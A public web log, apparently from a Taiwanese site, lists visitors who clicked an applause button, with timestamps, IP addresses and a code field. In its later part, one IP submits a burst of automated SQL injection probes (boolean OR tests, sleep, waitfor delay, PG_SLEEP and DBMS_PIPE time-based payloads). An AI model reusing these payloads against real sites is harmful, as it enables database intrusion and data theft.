掌聲鼓勵者IP及時間
S/N Date Time IP code
 678402 2025-04-21 04:52:06  1.163.231.149 -355702930
 678405 2025-04-21 06:10:51  49.216.46.152 
 678409 2025-04-21 07:42:10  118.168.173.112 
 678417 2025-04-21 08:32:53  2.58.241.30 264943445
 678419 2025-04-21 08:44:23  36.227.76.79 381387653
 678433 2025-04-21 09:19:55  111.71.12.92 991405680
 678440 2025-04-21 09:56:04  223.140.99.246 -92265992
 678441 2025-04-21 09:58:05  223.136.62.104 
 678449 2025-04-21 10:25:40  101.44.83.230 535998057
 678469 2025-04-21 13:25:10  223.136.240.29 
 678473 2025-04-21 14:35:23  111.71.84.219 
 678493 2025-04-21 15:29:52  114.37.114.68 
 678506 2025-04-21 19:31:35  111.80.242.254 -1534108589
 678508 2025-04-21 20:15:35  61.219.255.249 
 678513 2025-04-21 22:19:57  223.136.103.46 1136434971
 678517 2025-04-21 23:22:08  46.222.30.194 967638422
 678522 2025-04-22 00:41:12  42.70.135.212 
 678562 2025-04-22 11:23:07  42.79.188.212 -1997079565
 678604 2025-04-22 15:27:31  45.153.230.140 -804851985
 679060 2025-04-22 17:56:25  203.145.95.197 791027659
 679077 2025-04-22 23:58:46  114.136.150.195 
 679089 2025-04-23 05:33:14  111.71.76.123 1341480768
 679092 2025-04-23 05:47:58  111.71.104.223 -2086970314
 679178 2025-04-23 20:39:18  42.71.121.193 
 679198 2025-04-24 02:54:54  223.136.210.226 
 679447 2025-04-26 08:40:18  111.71.212.52 535998057
 679509 2025-04-26 16:52:08  49.159.180.162 
 679610 2025-04-27 18:07:10  127.0.0.1 -2122661231
 679935 2025-04-29 21:13:53  61.221.35.8 535998057
 679999 2025-04-30 15:56:59  2.58.242.88 -875123510
 680115 2025-04-30 16:14:55  2.58.242.88 -8751235106ayaVXCX
 680116 2025-04-30 16:14:59  2.58.242.88 -1 OR 5*5=25 --
 680117 2025-04-30 16:15:00  2.58.242.88 -1 OR 5*5=25
 680118 2025-04-30 16:15:01  2.58.242.88 -1' OR 5*5=25 --
 680119 2025-04-30 16:15:02  2.58.242.88 -1' OR 5*5=25 or 'cJsyDYYt'='
 680120 2025-04-30 16:15:03  2.58.242.88 -1 OR 5*5=25 or ThUCG4ny=
 680121 2025-04-30 16:15:07  2.58.242.88 -875123510*if(now()=sysdate(),sleep(15),0)
 680122 2025-04-30 16:15:11  2.58.242.88 -8751235100'XOR(-875123510*if(now()=sysdate(),sleep(15),0))XOR'Z
 680123 2025-04-30 16:15:14  2.58.242.88 -8751235100XOR(-875123510*if(now()=sysdate(),sleep(15),0))XORZ
 680124 2025-04-30 16:15:18  2.58.242.88 (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'+(select(0)from(
 680125 2025-04-30 16:15:21  2.58.242.88 -875123510-1; waitfor delay '0:0:15' --
 680126 2025-04-30 16:15:25  2.58.242.88 -875123510-1); waitfor delay '0:0:15' --
 680127 2025-04-30 16:15:28  2.58.242.88 -875123510-1 waitfor delay '0:0:15' --
 680128 2025-04-30 16:15:31  2.58.242.88 -87512351065SGqOHq'; waitfor delay '0:0:15' --
 680129 2025-04-30 16:15:35  2.58.242.88 -875123510-1 OR 700=(SELECT 700 FROM PG_SLEEP(15))--
 680130 2025-04-30 16:15:38  2.58.242.88 -875123510-1) OR 791=(SELECT 791 FROM PG_SLEEP(15))--
 680131 2025-04-30 16:15:42  2.58.242.88 -875123510-1)) OR 688=(SELECT 688 FROM PG_SLEEP(15))--
 680132 2025-04-30 16:15:46  2.58.242.88 -875123510Cmvgratp' OR 849=(SELECT 849 FROM PG_SLEEP(15))--
 680133 2025-04-30 16:15:49  2.58.242.88 -87512351067XKZeXz') OR 140=(SELECT 140 FROM PG_SLEEP(15))--
 680134 2025-04-30 16:15:52  2.58.242.88 -875123510NL9pwmgo')) OR 858=(SELECT 858 FROM PG_SLEEP(15))--
 680135 2025-04-30 16:15:55  2.58.242.88 -875123510*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
 680136 2025-04-30 16:15:58  2.58.242.88 -875123510'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
 680137 2025-04-30 16:16:02  2.58.242.88 (select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)
 680138 2025-04-30 16:16:03  2.58.242.88 -875123510'
 680140 2025-04-30 16:16:04  2.58.242.88 (select 198766*667891)
 680139 2025-04-30 16:16:04  2.58.242.88 @@IF1O5
 680141 2025-04-30 16:16:05  2.58.242.88 (select 198766*667891 from DUAL)
 680182 2025-05-01 08:46:37  223.200.136.125 381387653